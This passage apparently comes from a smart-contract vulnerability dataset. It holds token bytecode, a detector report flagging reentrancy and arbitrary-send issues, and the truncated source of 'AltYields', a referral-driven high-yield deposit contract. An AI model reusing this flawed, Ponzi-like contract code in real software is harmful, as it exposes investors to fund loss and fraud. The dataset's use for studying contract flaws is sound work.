0565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bffd484ede4d4f7762c677077b67ce4cf4a99ada7f41b8c0b4b19c0dc97e0d0664736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,708
0xcc6b1a596d477e743401dab8b204deee3c45d3b0
pragma solidity 0.5.10; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract AltYields { using SafeMath for uint256; uint256[] public REFERRAL_PERCENTS = [50, 40, 30]; uint256[] public BONUS_PERCENTS = [100, 150, 200, 250, 300]; uint256 constant public TOTAL_REF = 120; uint256 constant public PROJECT_FEE = 90; uint256 constant public DEV_FEE = 10; uint256 constant public HOLD_BONUS = 10; uint256 constant public PERCENTS_DIVIDER = 1000; uint256 constant public TIME_STEP = 1 days; uint256 public totalInvested; uint256 public totalBonus; uint256 public INVEST_MIN_AMOUNT = 0.25 ether; uint256 public INVEST_MAX_AMOUNT = 25 ether; uint256 public BONUS_MIN_AMOUNT = 0.25 ether; uint256 public BONUS_MAX_AMOUNT = 25 ether; bool public bonusStatus = false; struct Plan { uint256 time; uint256 percent; } Plan[] internal plans; struct Deposit { uint8 plan; uint256 amount; uint256 start; } struct User { Deposit[] deposits; uint256 checkpoint; address referrer; uint256[3] levels; uint256 bonus; uint256 totalBonus; uint256 withdrawn; } mapping (address => User) internal users; mapping (address => mapping(uint256 => uint256)) internal userDepositBonus; uint256 public startDate; address payable public ceoWallet; address payable public devWallet; event Newbie(address user); event NewDeposit(address indexed user, uint8 plan, uint256 amount, uint256 time); event Withdrawn(address indexed user, uint256 amount); event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount); event FeePayed(address indexed user, uint256 totalAmount); constructor(address payable ceoAddr, address payable devAddr, uint256 start) public { require(!isContract(ceoAddr) && !isContract(devAddr)); ceoWallet = ceoAddr; devWallet = devAddr; if(start>0){ startDate = start; } else{ startDate = block.timestamp; } plans.push(Plan(40, 50)); // 200% plans.push(Plan(60, 40)); // 240% plans.push(Plan(100, 30)); // 300% } function invest(address referrer, uint8 plan) public payable { require(block.timestamp > startDate, "contract does not launch yet"); require(msg.value >= INVEST_MIN_AMOUNT,"error min"); require(msg.value <= INVEST_MAX_AMOUNT,"error max"); require(plan < 4, "Invalid plan"); uint256 pFee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER); uint256 dFee = msg.value.mul(DEV_FEE).div(PERCENTS_DIVIDER); ceoWallet.transfer(pFee); devWallet.transfer(dFee); emit FeePayed(msg.sender, pFee.add(dFee)); User storage user = users[msg.sender]; if (user.referrer == address(0)) { if (users[referrer].deposits.length > 0 && referrer != msg.sender) { user.referrer = referrer; } else{ user.referrer = ceoWallet; } address upline = user.referrer; for (uint256 i = 0; i < 3; i++) { if (upline != address(0)) { users[upline].levels[i] = users[upline].levels[i].add(1); upline = users[upline].referrer; } else break; } } if (user.referrer != address(0)) { address upline = user.referrer; for (uint256 i = 0; i < 3; i++) { if (upline != address(0)) { uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER); users[upline].bonus = users[upline].bonus.add(amount); users[upline].totalBonus = users[upline].totalBonus.add(amount); emit RefBonus(upline, msg.sender, i, amount); upline = users[upline].referrer; } else break; } } if (user.deposits.length == 0) { user.checkpoint = block.timestamp; emit Newbie(msg.sender); } user.deposits.push(Deposit(plan, msg.value, block.timestamp)); totalInvested = totalInvested.add(msg.value); emit NewDeposit(msg.sender, plan, msg.value, block.timestamp); //bonus if(bonusStatus){ if(user.deposits.length >= 2 && user.deposits.length <=5){ uint256 firstAmount = user.deposits[0].amount; if(firstAmount >= BONUS_MIN_AMOUNT && firstAmount <= BONUS_MAX_AMOUNT){ uint256 preAmount = user.deposits[user.deposits.length -2].amount; if(user.deposits.length == 2){ if(preAmount == msg.value){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0]; } else if( msg.value > preAmount && msg.value <= BONUS_MAX_AMOUNT){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[1]; } } else if(user.deposits.length == 3){ if(preAmount == msg.value){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0]; } else if( msg.value > preAmount && msg.value <= BONUS_MAX_AMOUNT){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[2]; } } else if(user.deposits.length == 4){ if(preAmount == msg.value){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0]; } else if( msg.value > preAmount && msg.value <= BONUS_MAX_AMOUNT){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[3]; } } else if(user.deposits.length == 5){ if(preAmount == msg.value){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[0]; } else if( msg.value > preAmount && msg.value <= BONUS_MAX_AMOUNT){ userDepositBonus[msg.sender][user.deposits.length-1] = BONUS_PERCENTS[4]; } } totalBonus = totalBonus.add(userDepositBonus[msg.sender][user.deposits.length-1].mul(msg.value).div(PERCENTS_DIVIDER)); } } } } function withdraw() public { User storage user = users[msg.sender]; uint256 totalAmount = getUserDividends(msg.sender); uint256 referralBonus = getUserReferralBonus(msg.sender); if (referralBonus > 0) { user.bonus = 0; totalAmount = totalAmount.add(referralBonus); } require(totalAmount > 0, "User has no dividends"); uint256 contractBalance = address(this).balance; if (contractBalance < totalAmount) { user.bonus = totalAmount.sub(contractBalance); totalAmount = contractBalance; } user.checkpoint = block.timestamp; user.withdrawn = user.withdrawn.add(totalAmount); msg.sender.transfer(totalAmount); emit Withdrawn(msg.sender, totalAmount); } function getContractBalance() public view returns (uint256) { return address(this).balance; } function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) { time = plans[plan].time; percent = plans[plan].percent; } function getUserDividends(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 totalAmount; for (uint256 i = 0; i < user.deposits.length; i++) { uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(TIME_STEP)); if (user.checkpoint < finish) { uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER); uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint; uint256 to = finish < block.timestamp ? finish : block.timestamp; if (from < to) { totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP)); uint256 holdDays = (to.sub(from)).div(TIME_STEP); if(holdDays > 0){ totalAmount = totalAmount.add(user.deposits[i].amount.mul(HOLD_BONUS.mul(holdDays)).div(PERCENTS_DIVIDER)); } } //end of plan if(finish <= block.timestamp){ if(userDepositBonus[msg.sender][i] > 0){ totalAmount = totalAmount.add(user.deposits[i].amount.mul(userDepositBonus[msg.sender][i]).div(PERCENTS_DIVIDER)); } } } } return totalAmount; } function getUserHoldBonus(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; if(user.checkpoint > 0){ uint256 holdBonus = 0; if (user.checkpoint < block.timestamp) { uint256 holdDays = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP); if(holdDays > 0){ holdBonus = holdDays.mul(HOLD_BONUS); } } return holdBonus; } else{ return 0; } } function getUserTotalWithdrawn(address userAddress) public view returns (uint256) { return users[userAddress].withdrawn; } function getUserCheckpoint(address userAddress) public view returns(uint256) { return users[userAddress].checkpoint; } function getUserReferrer(address userAddress) public view returns(address) { return users[userAddress].referrer; } function getUserDownlineCount(address userAddress) public view returns(uint256[3] memory referrals) { return (users[userAddress].levels); } function getUserTotalReferrals(address userAddress) public view returns(uint256) { return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2]; } function getUserReferralBonus(address userAddress) public view returns(uint256) { return 